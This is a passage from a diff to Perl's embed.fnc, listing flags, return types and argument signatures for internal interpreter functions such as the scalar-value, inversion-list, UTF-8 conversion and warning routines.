+s	|OP*	|scalarseq	|NULLOK OP* o
+#endif
+: Used in pp_ctl.c
+p	|OP*	|scalarvoid	|NN OP* o
+Apd	|NV	|scan_bin	|NN const char* start|STRLEN len|NN STRLEN* retlen
+Apd	|NV	|scan_hex	|NN const char* start|STRLEN len|NN STRLEN* retlen
+Ap	|char*	|scan_num	|NN const char* s|NN YYSTYPE *lvalp
+Apd	|NV	|scan_oct	|NN const char* start|STRLEN len|NN STRLEN* retlen
+AMpd	|OP*	|op_scope	|NULLOK OP* o
+: Only used by perl.c/miniperl.c, but defined in caretx.c
+px	|void	|set_caret_X
+Apd	|void	|setdefout	|NN GV* gv
+Ap	|HEK*	|share_hek	|NN const char* str|I32 len|U32 hash
+#if defined(HAS_SIGACTION) && defined(SA_SIGINFO)
+: Used in perl.c
+np	|Signal_t |sighandler	|int sig|NULLOK siginfo_t *info|NULLOK void *uap
+Anp	|Signal_t |csighandler	|int sig|NULLOK siginfo_t *info|NULLOK void *uap
+#else
+np	|Signal_t |sighandler	|int sig
+Anp	|Signal_t |csighandler	|int sig
+#endif
+Ap	|SV**	|stack_grow	|NN SV** sp|NN SV** p|SSize_t n
+Ap	|I32	|start_subparse	|I32 is_format|U32 flags
+: Used in pp_ctl.c
+p	|void	|sub_crush_depth|NN CV* cv
+Amd	|bool	|sv_2bool	|NN SV *const sv
+Apd	|bool	|sv_2bool_flags	|NN SV *sv|I32 flags
+Apd	|CV*	|sv_2cv		|NULLOK SV* sv|NN HV **const st|NN GV **const gvp \
+				|const I32 lref
+Apd	|IO*	|sv_2io		|NN SV *const sv
+#if defined(PERL_IN_SV_C)
+s	|bool	|glob_2number	|NN GV* const gv
+#endif
+Amb	|IV	|sv_2iv		|NN SV *sv
+Apd	|IV	|sv_2iv_flags	|NN SV *const sv|const I32 flags
+Apd	|SV*	|sv_2mortal	|NULLOK SV *const sv
+Apd	|NV	|sv_2nv_flags	|NN SV *const sv|const I32 flags
+: Used in pp.c, pp_hot.c, sv.c
+pMd	|SV*	|sv_2num	|NN SV *const sv
+Amb	|char*	|sv_2pv		|NN SV *sv|NULLOK STRLEN *lp
+Apd	|char*	|sv_2pv_flags	|NN SV *const sv|NULLOK STRLEN *const lp|const I32 flags
+Apd	|char*	|sv_2pvutf8	|NN SV *sv|NULLOK STRLEN *const lp
+Apd	|char*	|sv_2pvbyte	|NN SV *sv|NULLOK STRLEN *const lp
+Ap	|char*	|sv_pvn_nomg	|NN SV* sv|NULLOK STRLEN* lp
+Amb	|UV	|sv_2uv		|NN SV *sv
+Apd	|UV	|sv_2uv_flags	|NN SV *const sv|const I32 flags
+Apd	|IV	|sv_iv		|NN SV* sv
+Apd	|UV	|sv_uv		|NN SV* sv
+Apd	|NV	|sv_nv		|NN SV* sv
+Apd	|char*	|sv_pvn		|NN SV *sv|NN STRLEN *lp
+Apd	|char*	|sv_pvutf8n	|NN SV *sv|NN STRLEN *lp
+Apd	|char*	|sv_pvbyten	|NN SV *sv|NN STRLEN *lp
+Apd	|I32	|sv_true	|NULLOK SV *const sv
+#if defined(PERL_IN_SV_C)
+sd	|void	|sv_add_arena	|NN char *const ptr|const U32 size \
+				|const U32 flags
+#endif
+Apdn	|void	|sv_backoff	|NN SV *const sv
+Apd	|SV*	|sv_bless	|NN SV *const sv|NN HV *const stash
+#if defined(PERL_DEBUG_READONLY_COW)
+p	|void	|sv_buf_to_ro	|NN SV *sv
+# if defined(PERL_IN_SV_C)
+s	|void	|sv_buf_to_rw	|NN SV *sv
+# endif
+#endif
+Afpd	|void	|sv_catpvf	|NN SV *const sv|NN const char *const pat|...
+Apd	|void	|sv_vcatpvf	|NN SV *const sv|NN const char *const pat \
+				|NULLOK va_list *const args
+Apd	|void	|sv_catpv	|NN SV *const sv|NULLOK const char* ptr
+Amdb	|void	|sv_catpvn	|NN SV *dsv|NN const char *sstr|STRLEN len
+Amdb	|void	|sv_catsv	|NN SV *dstr|NULLOK SV *sstr
+Apd	|void	|sv_chop	|NN SV *const sv|NULLOK const char *const ptr
+: Used only in perl.c
+pd	|I32	|sv_clean_all
+: Used only in perl.c
+pd	|void	|sv_clean_objs
+Apd	|void	|sv_clear	|NN SV *const orig_sv
+#if defined(PERL_IN_SV_C)
+s	|bool	|curse		|NN SV * const sv|const bool check_refcnt
+#endif
+Aopd	|I32	|sv_cmp		|NULLOK SV *const sv1|NULLOK SV *const sv2
+Apd	|I32	|sv_cmp_flags	|NULLOK SV *const sv1|NULLOK SV *const sv2 \
+				|const U32 flags
+Aopd	|I32	|sv_cmp_locale	|NULLOK SV *const sv1|NULLOK SV *const sv2
+Apd	|I32	|sv_cmp_locale_flags	|NULLOK SV *const sv1 \
+				|NULLOK SV *const sv2|const U32 flags
+#if defined(USE_LOCALE_COLLATE)
+Amd	|char*	|sv_collxfrm	|NN SV *const sv|NN STRLEN *const nxp
+Apd	|char*	|sv_collxfrm_flags	|NN SV *const sv|NN STRLEN *const nxp|I32 const flags
+#endif
+Apd	|int	|getcwd_sv	|NN SV* sv
+Apd	|void	|sv_dec		|NULLOK SV *const sv
+Apd	|void	|sv_dec_nomg	|NULLOK SV *const sv
+Ap	|void	|sv_dump	|NN SV* sv
+ApdR	|bool	|sv_derived_from|NN SV* sv|NN const char *const name
+ApdR	|bool	|sv_derived_from_sv|NN SV* sv|NN SV *namesv|U32 flags
+ApdR	|bool	|sv_derived_from_pv|NN SV* sv|NN const char *const name|U32 flags
+ApdR	|bool	|sv_derived_from_pvn|NN SV* sv|NN const char *const name \
+                                    |const STRLEN len|U32 flags
+ApdR	|bool	|sv_does	|NN SV* sv|NN const char *const name
+ApdR	|bool	|sv_does_sv	|NN SV* sv|NN SV* namesv|U32 flags
+ApdR	|bool	|sv_does_pv	|NN SV* sv|NN const char *const name|U32 flags
+ApdR	|bool	|sv_does_pvn	|NN SV* sv|NN const char *const name|const STRLEN len \
+                                |U32 flags
+Amd	|I32	|sv_eq		|NULLOK SV* sv1|NULLOK SV* sv2
+Apd	|I32	|sv_eq_flags	|NULLOK SV* sv1|NULLOK SV* sv2|const U32 flags
+Apd	|void	|sv_free	|NULLOK SV *const sv
+poMX	|void	|sv_free2	|NN SV *const sv|const U32 refcnt
+: Used only in perl.c
+pd	|void	|sv_free_arenas
+Apd	|char*	|sv_gets	|NN SV *const sv|NN PerlIO *const fp|I32 append
+Apd	|char*	|sv_grow	|NN SV *const sv|STRLEN newlen
+Apd	|void	|sv_inc		|NULLOK SV *const sv
+Apd	|void	|sv_inc_nomg	|NULLOK SV *const sv
+Amdb	|void	|sv_insert	|NN SV *const bigstr|const STRLEN offset \
+				|const STRLEN len|NN const char *const little \
+				|const STRLEN littlelen
+Apd	|void	|sv_insert_flags|NN SV *const bigstr|const STRLEN offset|const STRLEN len \
+				|NN const char *const little|const STRLEN littlelen|const U32 flags
+Apd	|int	|sv_isa		|NULLOK SV* sv|NN const char *const name
+Apd	|int	|sv_isobject	|NULLOK SV* sv
+Apd	|STRLEN	|sv_len		|NULLOK SV *const sv
+Apd	|STRLEN	|sv_len_utf8	|NULLOK SV *const sv
+p	|STRLEN	|sv_len_utf8_nomg|NN SV *const sv
+Apd	|void	|sv_magic	|NN SV *const sv|NULLOK SV *const obj|const int how \
+				|NULLOK const char *const name|const I32 namlen
+Apd	|MAGIC *|sv_magicext	|NN SV *const sv|NULLOK SV *const obj|const int how \
+				|NULLOK const MGVTBL *const vtbl|NULLOK const char *const name \
+				|const I32 namlen
+#ifndef PERL_NO_INLINE_FUNCTIONS
+Ein	|bool	|sv_only_taint_gmagic|NN SV *sv
+#endif
+: exported for re.pm
+EXp	|MAGIC *|sv_magicext_mglob|NN SV *sv
+ApdbamR	|SV*	|sv_mortalcopy	|NULLOK SV *const oldsv
+XpaR	|SV*	|sv_mortalcopy_flags|NULLOK SV *const oldsv|U32 flags
+ApdR	|SV*	|sv_newmortal
+Apd	|SV*	|sv_newref	|NULLOK SV *const sv
+Ap	|char*	|sv_peek	|NULLOK SV* sv
+Apd	|void	|sv_pos_u2b	|NULLOK SV *const sv|NN I32 *const offsetp|NULLOK I32 *const lenp
+Apd	|STRLEN	|sv_pos_u2b_flags|NN SV *const sv|STRLEN uoffset \
+				|NULLOK STRLEN *const lenp|U32 flags
+Apd	|void	|sv_pos_b2u	|NULLOK SV *const sv|NN I32 *const offsetp
+Apd	|STRLEN	|sv_pos_b2u_flags|NN SV *const sv|STRLEN const offset \
+				 |U32 flags
+Amdb	|char*	|sv_pvn_force	|NN SV* sv|NULLOK STRLEN* lp
+Apd	|char*	|sv_pvutf8n_force|NN SV *const sv|NULLOK STRLEN *const lp
+Apd	|char*	|sv_pvbyten_force|NN SV *const sv|NULLOK STRLEN *const lp
+Apd	|char*	|sv_recode_to_utf8	|NN SV* sv|NN SV *encoding
+Apd	|bool	|sv_cat_decode	|NN SV* dsv|NN SV *encoding|NN SV *ssv|NN int *offset \
+				|NN char* tstr|int tlen
+ApdR	|const char*	|sv_reftype	|NN const SV *const sv|const int ob
+Apd	|SV*	|sv_ref	|NULLOK SV *dst|NN const SV *const sv|const int ob
+Apd	|void	|sv_replace	|NN SV *const sv|NN SV *const nsv
+Apd	|void	|sv_report_used
+Apd	|void	|sv_reset	|NN const char* s|NULLOK HV *const stash
+p	|void	|sv_resetpvn	|NULLOK const char* s|STRLEN len \
+				|NULLOK HV *const stash
+Afpd	|void	|sv_setpvf	|NN SV *const sv|NN const char *const pat|...
+Apd	|void	|sv_vsetpvf	|NN SV *const sv|NN const char *const pat|NULLOK va_list *const args
+Apd	|void	|sv_setiv	|NN SV *const sv|const IV num
+Apdb	|void	|sv_setpviv	|NN SV *const sv|const IV num
+Apd	|void	|sv_setuv	|NN SV *const sv|const UV num
+Apd	|void	|sv_setnv	|NN SV *const sv|const NV num
+Apd	|SV*	|sv_setref_iv	|NN SV *const rv|NULLOK const char *const classname|const IV iv
+Apd	|SV*	|sv_setref_uv	|NN SV *const rv|NULLOK const char *const classname|const UV uv
+Apd	|SV*	|sv_setref_nv	|NN SV *const rv|NULLOK const char *const classname|const NV nv
+Apd	|SV*	|sv_setref_pv	|NN SV *const rv|NULLOK const char *const classname \
+				|NULLOK void *const pv
+Apd	|SV*	|sv_setref_pvn	|NN SV *const rv|NULLOK const char *const classname \
+				|NN const char *const pv|const STRLEN n
+Apd	|void	|sv_setpv	|NN SV *const sv|NULLOK const char *const ptr
+Apd	|void	|sv_setpvn	|NN SV *const sv|NULLOK const char *const ptr|const STRLEN len
+Xp	|void	|sv_sethek	|NN SV *const sv|NULLOK const HEK *const hek
+Amdb	|void	|sv_setsv	|NN SV *dstr|NULLOK SV *sstr
+Amdb	|void	|sv_taint	|NN SV* sv
+ApdR	|bool	|sv_tainted	|NN SV *const sv
+Apd	|int	|sv_unmagic	|NN SV *const sv|const int type
+Apd	|int	|sv_unmagicext	|NN SV *const sv|const int type|NULLOK MGVTBL *vtbl
+Apdmb	|void	|sv_unref	|NN SV* sv
+Apd	|void	|sv_unref_flags	|NN SV *const ref|const U32 flags
+Apd	|void	|sv_untaint	|NN SV *const sv
+Apd	|void	|sv_upgrade	|NN SV *const sv|svtype new_type
+Apdmb	|void	|sv_usepvn	|NN SV* sv|NULLOK char* ptr|STRLEN len
+Apd	|void	|sv_usepvn_flags|NN SV *const sv|NULLOK char* ptr|const STRLEN len\
+				|const U32 flags
+Apd	|void	|sv_vcatpvfn	|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+				|NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+				|NULLOK bool *const maybe_tainted
+Apd	|void	|sv_vcatpvfn_flags|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+				|NULLOK va_list *const args|NULLOK SV **const svargs|const I32 svmax \
+				|NULLOK bool *const maybe_tainted|const U32 flags
+Apd	|void	|sv_vsetpvfn	|NN SV *const sv|NN const char *const pat|const STRLEN patlen \
+				|NULLOK va_list *const args|NULLOK SV **const svargs \
+				|const I32 svmax|NULLOK bool *const maybe_tainted
+ApR	|NV	|str_to_version	|NN SV *sv
+ApRM	|SV*	|swash_init	|NN const char* pkg|NN const char* name|NN SV* listsv|I32 minbits|I32 none
+ApM	|UV	|swash_fetch	|NN SV *swash|NN const U8 *ptr|bool do_utf8
+#ifdef PERL_IN_REGCOMP_C
+EiMR	|SV*	|add_cp_to_invlist	|NULLOK SV* invlist|const UV cp
+EsM	|void	|_append_range_to_invlist   |NN SV* const invlist|const UV start|const UV end
+EiMRn	|UV*	|_invlist_array_init	|NN SV* const invlist|const bool will_have_0
+EsM	|void	|invlist_extend    |NN SV* const invlist|const UV len
+EiMRn	|UV	|invlist_max	|NN SV* const invlist
+EiM	|void	|invlist_set_len|NN SV* const invlist|const UV len|const bool offset
+EiMRn	|bool	|invlist_is_iterating|NN SV* const invlist
+#ifndef PERL_EXT_RE_BUILD
+EsM	|void	|invlist_replace_list_destroys_src|NN SV *dest|NN SV *src
+EiMRn	|IV*	|get_invlist_previous_index_addr|NN SV* invlist
+EiMn	|void	|invlist_set_previous_index|NN SV* const invlist|const IV index
+EiMRn	|IV	|invlist_previous_index|NN SV* const invlist
+EiMn	|void	|invlist_trim	|NN SV* invlist
+EiM	|void	|invlist_clear	|NN SV* invlist
+#endif
+EiMR	|SV*	|invlist_clone	|NN SV* const invlist
+EiMRn	|STRLEN*|get_invlist_iter_addr	|NN SV* invlist
+EiMn	|void	|invlist_iterinit|NN SV* invlist
+EsMRn	|bool	|invlist_iternext|NN SV* invlist|NN UV* start|NN UV* end
+EiMn	|void	|invlist_iterfinish|NN SV* invlist
+EiMRn	|UV	|invlist_highest|NN SV* const invlist
+EMRs	|SV*	|_make_exactf_invlist	|NN RExC_state_t *pRExC_state \
+					|NN regnode *node
+EsMR	|SV*	|invlist_contents|NN SV* const invlist		    \
+				 |const bool traditional_style
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_UTF8_C)
+EXmM	|void	|_invlist_intersection	|NN SV* const a|NN SV* const b|NN SV** i
+EXpM	|void	|_invlist_intersection_maybe_complement_2nd \
+		|NULLOK SV* const a|NN SV* const b          \
+		|const bool complement_b|NN SV** i
+EXmM	|void	|_invlist_union	|NULLOK SV* const a|NN SV* const b|NN SV** output
+EXpM	|void	|_invlist_union_maybe_complement_2nd        \
+		|NULLOK SV* const a|NN SV* const b          \
+		|const bool complement_b|NN SV** output
+EXmM	|void	|_invlist_subtract|NN SV* const a|NN SV* const b|NN SV** result
+EXpM	|void	|_invlist_invert|NN SV* const invlist
+EXMpR	|SV*	|_new_invlist	|IV initial_size
+EXMpR	|SV*	|_swash_to_invlist	|NN SV* const swash
+EXMpR	|SV*	|_add_range_to_invlist	|NULLOK SV* invlist|const UV start|const UV end
+EXMpR	|SV*	|_setup_canned_invlist|const STRLEN size|const UV element0|NN UV** other_elements_ptr
+EXMpn	|void	|_invlist_populate_swatch   |NN SV* const invlist|const UV start|const UV end|NN U8* swatch
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C) || defined(PERL_IN_TOKE_C)
+EXp	|SV*	|_core_swash_init|NN const char* pkg|NN const char* name \
+		|NN SV* listsv|I32 minbits|I32 none \
+		|NULLOK SV* invlist|NULLOK U8* const flags_p
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C) || defined(PERL_IN_UTF8_C)
+EiMRn	|UV*	|invlist_array	|NN SV* const invlist
+EiMRn	|bool*	|get_invlist_offset_addr|NN SV* invlist
+EiMRn	|UV	|_invlist_len	|NN SV* const invlist
+EMiRn	|bool	|_invlist_contains_cp|NN SV* const invlist|const UV cp
+EXpMRn	|IV	|_invlist_search	|NN SV* const invlist|const UV cp
+EXMpR	|SV*	|_get_swash_invlist|NN SV* const swash
+EXMpR	|HV*	|_swash_inversion_hash	|NN SV* const swash
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+ApM	|SV*	|_get_regclass_nonbitmap_data				   \
+				|NULLOK const regexp *prog		   \
+				|NN const struct regnode *node		   \
+				|bool doinit				   \
+				|NULLOK SV **listsvp			   \
+				|NULLOK SV **lonly_utf8_locale		   \
+				|NULLOK SV **output_invlist
+EXp	|void|_load_PL_utf8_foldclosures|
+#endif
+#if defined(PERL_IN_REGCOMP_C) || defined (PERL_IN_DUMP_C)
+EXMp	|void	|_invlist_dump	|NN PerlIO *file|I32 level   \
+				|NN const char* const indent \
+				|NN SV* const invlist
+#endif
+Ap	|void	|taint_env
+Ap	|void	|taint_proper	|NULLOK const char* f|NN const char *const s
+ApdD	|UV	|to_utf8_case	|NN const U8 *p					\
+				|NN U8* ustrp					\
+				|NULLOK STRLEN *lenp				\
+				|NN SV **swashp					\
+				|NN const char *normal|				\
+				NULLOK const char *special
+#if defined(PERL_IN_UTF8_C)
+s	|UV	|_to_utf8_case  |const UV uv1					\
+				|NN const U8 *p					\
+				|NN U8* ustrp					\
+				|NULLOK STRLEN *lenp				\
+				|NN SV **swashp					\
+				|NN const char *normal 				\
+				|NULLOK const char *special
+#endif
+Abmd	|UV	|to_utf8_lower	|NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp	|UV	|_to_utf8_lower_flags	|NN const U8 *p|NN U8* ustrp  \
+				|NULLOK STRLEN *lenp|bool flags
+Abmd	|UV	|to_utf8_upper	|NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp	|UV	|_to_utf8_upper_flags	|NN const U8 *p|NN U8* ustrp   \
+				|NULLOK STRLEN *lenp|bool flags
+Abmd	|UV	|to_utf8_title	|NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp	|UV	|_to_utf8_title_flags	|NN const U8 *p|NN U8* ustrp   \
+				|NULLOK STRLEN *lenp|bool flags
+Abmd	|UV	|to_utf8_fold	|NN const U8 *p|NN U8* ustrp|NULLOK STRLEN *lenp
+AMp	|UV	|_to_utf8_fold_flags|NN const U8 *p|NN U8* ustrp       \
+				|NULLOK STRLEN *lenp|U8 flags
+#if defined(PERL_IN_MG_C) || defined(PERL_IN_PP_C)
+pn	|bool	|translate_substr_offsets|STRLEN curlen|IV pos1_iv \
+					 |bool pos1_is_uv|IV len_iv \
+					 |bool len_is_uv|NN STRLEN *posp \
+					 |NN STRLEN *lenp
+#endif
+#if defined(UNLINK_ALL_VERSIONS)
+Ap	|I32	|unlnk		|NN const char* f
+#endif
+Apd	|I32	|unpack_str	|NN const char *pat|NN const char *patend|NN const char *s \
+				|NULLOK const char *strbeg|NN const char *strend|NULLOK char **new_s \
+				|I32 ocnt|U32 flags
+Apd	|I32	|unpackstring	|NN const char *pat|NN const char *patend|NN const char *s \
+				|NN const char *strend|U32 flags
+Ap	|void	|unsharepvn	|NULLOK const char* sv|I32 len|U32 hash
+: Used in gv.c, hv.c
+p	|void	|unshare_hek	|NULLOK HEK* hek
+: Used in perly.y
+p	|void	|utilize	|int aver|I32 floor|NULLOK OP* version|NN OP* idop|NULLOK OP* arg
+Ap	|U8*	|utf16_to_utf8	|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+Ap	|U8*	|utf16_to_utf8_reversed|NN U8* p|NN U8 *d|I32 bytelen|NN I32 *newlen
+AdpPR	|STRLEN	|utf8_length	|NN const U8* s|NN const U8 *e
+ApdPR	|IV	|utf8_distance	|NN const U8 *a|NN const U8 *b
+ApdPRn	|U8*	|utf8_hop	|NN const U8 *s|SSize_t off
+ApMd	|U8*	|utf8_to_bytes	|NN U8 *s|NN STRLEN *len
+Apd	|int	|bytes_cmp_utf8	|NN const U8 *b|STRLEN blen|NN const U8 *u \
+				|STRLEN ulen
+ApMd	|U8*	|bytes_from_utf8|NN const U8 *s|NN STRLEN *len|NULLOK bool *is_utf8
+ApMd	|U8*	|bytes_to_utf8	|NN const U8 *s|NN STRLEN *len
+ApdD	|UV	|utf8_to_uvchr	|NN const U8 *s|NULLOK STRLEN *retlen
+ApdD	|UV	|utf8_to_uvuni	|NN const U8 *s|NULLOK STRLEN *retlen
+ApMD	|UV	|valid_utf8_to_uvuni	|NN const U8 *s|NULLOK STRLEN *retlen
+Amd	|UV	|utf8_to_uvchr_buf	|NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
+ApdD	|UV	|utf8_to_uvuni_buf	|NN const U8 *s|NN const U8 *send|NULLOK STRLEN *retlen
+pM	|bool	|check_utf8_print	|NN const U8 *s|const STRLEN len
+
+Adp	|UV	|utf8n_to_uvchr	|NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
+ApM	|UV	|valid_utf8_to_uvchr	|NN const U8 *s|NULLOK STRLEN *retlen
+
+Ap	|UV	|utf8n_to_uvuni|NN const U8 *s|STRLEN curlen|NULLOK STRLEN *retlen|U32 flags
+
+Adm	|U8*	|uvchr_to_utf8	|NN U8 *d|UV uv
+Ap	|U8*	|uvuni_to_utf8	|NN U8 *d|UV uv
+Adm	|U8*	|uvchr_to_utf8_flags	|NN U8 *d|UV uv|UV flags
+Apd	|U8*	|uvoffuni_to_utf8_flags	|NN U8 *d|UV uv|UV flags
+Ap	|U8*	|uvuni_to_utf8_flags	|NN U8 *d|UV uv|UV flags
+Apd	|char*	|pv_uni_display	|NN SV *dsv|NN const U8 *spv|STRLEN len|STRLEN pvlim|UV flags
+ApdR	|char*	|sv_uni_display	|NN SV *dsv|NN SV *ssv|STRLEN pvlim|UV flags
+: Used by Data::Alias
+EXp	|void	|vivify_defelem	|NN SV* sv
+: Used in pp.c
+pR	|SV*	|vivify_ref	|NN SV* sv|U32 to_what
+: Used in pp_sys.c
+p	|I32	|wait4pid	|Pid_t pid|NN int* statusp|int flags
+: Used in locale.c and perl.c
+p	|U32	|parse_unicode_opts|NN const char **popt
+Ap	|U32	|seed
+Xpno	|double	|drand48_r	|NN perl_drand48_t *random_state
+Xpno	|void	|drand48_init_r |NN perl_drand48_t *random_state|U32 seed
+: Only used in perl.c
+p        |void        |get_hash_seed        |NN unsigned char * const seed_buffer
+: Used in doio.c, pp_hot.c, pp_sys.c
+p	|void	|report_evil_fh	|NULLOK const GV *gv
+: Used in doio.c, pp_hot.c, pp_sys.c
+p	|void	|report_wrongway_fh|NULLOK const GV *gv|const char have
+: Used in mg.c, pp.c, pp_hot.c, regcomp.c
+XEpd	|void	|report_uninit	|NULLOK const SV *uninit_sv
+#if defined(PERL_IN_OP_C) || defined(PERL_IN_SV_C)
+p	|void	|report_redefined_cv|NN const SV *name \
+				    |NN const CV *old_cv \
+				    |NULLOK SV * const *new_const_svp
+#endif
+Apd	|void	|warn_sv	|NN SV *baseex
+Afpd	|void	|warn		|NN const char* pat|...
+Apd	|void	|vwarn		|NN const char* pat|NULLOK va_list* args
+Afp	|void	|warner		|U32 err|NN const char* pat|...
+Afp	|void	|ck_warner	|U32 err|NN const char* pat|...
+Afp	|void	|ck_warner_d	|U32 err|NN const char* pat|...
+Ap	|void	|vwarner	|U32 err|NN const char* pat|NULLOK va_list* args
+#ifdef USE_C_BACKTRACE
+pd	|Perl_c_backtrace*|get_c_backtrace|int max_depth|int skip
+dm	|void	|free_c_backtrace|NN Perl_c_backtrace* bt
+Apd	|SV*	|get_c_backtrace_dump|int max_depth|int skip
+Apd	|bool	|dump_c_backtrace|NN PerlIO* fp|int max_depth|int skip
+#endif
+: FIXME
+p	|void	|watch		|NN char** addr
+Am	|I32	|whichsig	|NN const char* sig
+Ap     |I32    |whichsig_sv    |NN SV* sigsv
+Ap     |I32    |whichsig_pv    |NN const char* sig
+Ap     |I32    |whichsig_pvn   |NN const char* sig|STRLEN len
+#ifndef PERL_NO_INLINE_FUNCTIONS
+: used to check for NULs in pathnames and other names
+AiR	|bool	|is_safe_syscall|NN const char *pv|STRLEN len|NN const char *what|NN const char *op_name
+#endif
+#ifdef PERL_CORE
+inR	|bool	|should_warn_nl|NN const char *pv
+#endif
+: Used in pp_ctl.c
+p	|void	|write_to_stderr|NN SV* msv
+: Used in op.c
+p	|int	|yyerror	|NN const char *const s
+p	|int	|yyerror_pv	|NN const char *const s|U32 flags
+p	|int	|yyerror_pvn	|NN const char *const s|STRLEN len|U32 flags
+: Used in perly.y, and by Data::Alias
+EXp	|int	|yylex
+p	|void	|yyunlex
+: Used in perl.c, pp_ctl.c
+p	|int	|yyparse	|int gramtype
+: Only used in scope.c
+p	|void	|parser_free	|NN const yy_parser *parser
+#ifdef PERL_CORE
+p	|void	|parser_free_nexttoke_ops|NN yy_parser *parser \
+					 |NN OPSLAB *slab
+#endif
+#if defined(PERL_IN_TOKE_C)
+s	|int	|yywarn		|NN const char *const s|U32 flags
+#endif
+#if defined(MYMALLOC)
+Ap	|void	|dump_mstats	|NN const char* s
+Ap	|int	|get_mstats	|NN perl_mstats_t *buf|int buflen|int level
+#endif
+Anpa	|Malloc_t|safesysmalloc	|MEM_SIZE nbytes
+Anpa	|Malloc_t|safesyscalloc	|MEM_SIZE elements|MEM_SIZE size
+Anpa	|Malloc_t|safesysrealloc|Malloc_t where|MEM_SIZE nbytes
+Anp	|Free_t	|safesysfree	|Malloc_t where
+Asrnx	|void	|croak_memory_wrap
+#if defined(PERL_GLOBAL_STRUCT)
+Ap	|struct perl_vars *|GetVars
+Ap	|struct perl_vars*|init_global_struct
+Ap	|void	|free_global_struct|NN struct perl_vars *plvarsp
+#endif
+Ap	|int	|runops_standard
+Ap	|int	|runops_debug
+Afpd	|void	|sv_catpvf_mg	|NN SV *const sv|NN const char *const pat|...
+Apd	|void	|sv_vcatpvf_mg	|NN SV *const sv|NN const char *const pat \
+				|NULLOK va_list *const args
+Apd	|void	|sv_catpv_mg	|NN SV *const sv|NULLOK const char *const ptr
+Apdbm	|void	|sv_catpvn_mg	|NN SV *sv|NN const char *ptr|STRLEN len
+Apdbm	|void	|sv_catsv_mg	|NN SV *dsv|NULLOK SV *ssv
+Afpd	|void	|sv_setpvf_mg	|NN SV *const sv|NN const char *const pat|...
+Apd	|void	|sv_vsetpvf_mg	|NN SV *const sv|NN const char *const pat \
+				|NULLOK va_list *const args
+Apd	|void	|sv_setiv_mg	|NN SV *const sv|const IV i
+Apdb	|void	|sv_setpviv_mg	|NN SV *const sv|const IV iv
+Apd	|void	|sv_setuv_mg	|NN SV *const sv|const UV u
+Apd	|void	|sv_setnv_mg	|NN SV *const sv|const NV num
+Apd	|void	|sv_setpv_mg	|NN SV *const sv|NULLOK const char *const ptr
+Apd	|void	|sv_setpvn_mg	|NN SV *const sv|NN const char *const ptr|const STRLEN len
+Apd	|void	|sv_setsv_mg	|NN SV *const dstr|NULLOK SV *const sstr
+Apdbm	|void	|sv_usepvn_mg	|NN SV *sv|NULLOK char *ptr|STRLEN len
+ApR	|MGVTBL*|get_vtbl	|int vtbl_id
+Apd	|char*	|pv_display	|NN SV *dsv|NN const char *pv|STRLEN cur|STRLEN len \
+				|STRLEN pvlim
+Apd	|char*	|pv_escape	|NULLOK SV *dsv|NN char const * const str\
+                                |const STRLEN count|const STRLEN max\
+                                |NULLOK STRLEN * const escaped\
+                                |const U32 flags				
+Apd     |char*  |pv_pretty      |NN SV *dsv|NN char const * const str\
+                                |const STRLEN count|const STRLEN max\
+                                |NULLOK char const * const start_color\
+                                |NULLOK char const * const end_color\
+                                |const U32 flags				
+Afp	|void	|dump_indent	|I32 level|NN PerlIO *file|NN const char* pat|...
+Ap	|void	|dump_vindent	|I32 level|NN PerlIO *file|NN const char* pat \
+				|NULLOK va_list *args
+Ap	|void	|do_gv_dump	|I32 level|NN PerlIO *file|NN const char *name\
+				|NULLOK GV *sv
+Ap	|void	|do_gvgv_dump	|I32 level|NN PerlIO *file|NN const char *name\
+				|NULLOK GV *sv
+Ap	|void	|do_hv_dump	|I32 level|NN PerlIO *file|NN const char *name\
+				|NULLOK HV *sv
+Ap	|void	|do_magic_dump	|I32 level|NN PerlIO *file|NULLOK const MAGIC *mg|I32 nest \
+				|I32 maxnest|bool dumpops|STRLEN pvlim
+Ap	|void	|do_op_dump	|I32 level|NN PerlIO *file|NULLOK const OP *o
+Ap	|void	|do_pmop_dump	|I32 level|NN PerlIO *file|NULLOK const PMOP *pm
+Ap	|void	|do_sv_dump	|I32 level|NN PerlIO *file|NULLOK SV *sv|I32 nest \
+				|I32 maxnest|bool dumpops|STRLEN pvlim
+Ap	|void	|magic_dump	|NULLOK const MAGIC *mg
+Ap	|void	|reginitcolors
+ApdRmb	|char*	|sv_2pv_nolen	|NN SV* sv
+ApdRmb	|char*	|sv_2pvutf8_nolen|NN SV* sv
+ApdRmb	|char*	|sv_2pvbyte_nolen|NN SV* sv
+AmdbR	|char*	|sv_pv		|NN SV *sv
+AmdbR	|char*	|sv_pvutf8	|NN SV *sv
+AmdbR	|char*	|sv_pvbyte	|NN SV *sv
+Amdb	|STRLEN	|sv_utf8_upgrade|NN SV *sv
+Amd	|STRLEN	|sv_utf8_upgrade_nomg|NN SV *sv
+ApdM	|bool	|sv_utf8_downgrade|NN SV *const sv|const bool fail_ok
+Apd	|void	|sv_utf8_encode |NN SV *const sv
+ApdM	|bool	|sv_utf8_decode |NN SV *const sv
+Apdmb	|void	|sv_force_normal|NN SV *sv
+Apd	|void	|sv_force_normal_flags|NN SV *const sv|const U32 flags
+pX	|SSize_t|tmps_grow_p	|SSize_t ix
+Apd	|SV*	|sv_rvweaken	|NN SV *const sv
+AnpPMd	|SV*	|sv_get_backrefs|NN SV *const sv
+: This is indirectly referenced by globals.c. This is somewhat annoying.
+p	|int	|magic_killbackrefs|NN SV *sv|NN MAGIC *mg
+Ap	|OP*	|newANONATTRSUB	|I32 floor|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
